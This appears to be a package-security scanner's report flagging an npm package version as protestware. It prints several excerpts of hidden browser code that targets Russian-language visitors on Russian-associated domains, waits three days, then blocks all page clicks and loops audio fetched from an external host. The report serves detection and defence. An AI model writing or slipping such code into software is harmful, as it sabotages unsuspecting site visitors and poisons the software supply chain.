@esvndev/es-react-import-export@1.2.34: Malicious npm security | LPM Firewall

Loading npm security reports…

@esvndev/es-react-import-export@1.2.34: Malicious npm security | LPM Firewall

Source & flagged code

5 flagged · loading source

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

dist/index.mjsView file

14873// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', `${now}`); } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none';

High

Ai Review Evidence

The browser entrypoint contains a targeted protestware branch for Russian-language users on Russian-associated domains.

dist/index.mjsView on unpkg · L14873

14879} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem);

High

Ai Review Evidence

After a three-day local-storage delay, it disables all page pointer interaction and appends looping audio.

dist/index.mjsView on unpkg · L14879

14882const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => { ukrainianAnthem.play().catch(() => { // ignore });

High

Ai Review Evidence

The audio is fetched from a fixed external host and playback is started automatically.

dist/index.mjsView on unpkg · L14882

Source & flagged code

5 flagged

dist/index.jsView file

•if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

dist/index.jsView on unpkg

•Trigger-reachable chain: scripts.start -> dist/index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg

dist/index.mjsView file

14873// Dear russian users visiting russian sites. Let's have fun. if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) { const now = new Date(); const initiationDate = localStorage.getItem('swal-initiation'); if (!initiationDate) { localStorage.setItem('swal-initiation', `${now}`); } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none';

High

Ai Review Evidence

The browser entrypoint contains a targeted protestware branch for Russian-language users on Russian-associated domains.

dist/index.mjsView on unpkg · L14873

14879} else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) { setTimeout(() => { document.body.style.pointerEvents = 'none'; const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem);

High

Ai Review Evidence

After a three-day local-storage delay, it disables all page pointer interaction and appends looping audio.

dist/index.mjsView on unpkg · L14879

14882const ukrainianAnthem = document.createElement('audio'); ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3'; ukrainianAnthem.loop = true; document.body.appendChild(ukrainianAnthem); setTimeout(() => { ukrainianAnthem.play().catch(() => { // ignore });

High

Ai Review Evidence

The audio is fetched from a fixed external host and playback is started automatically.

dist/index.mjsView on unpkg · L14882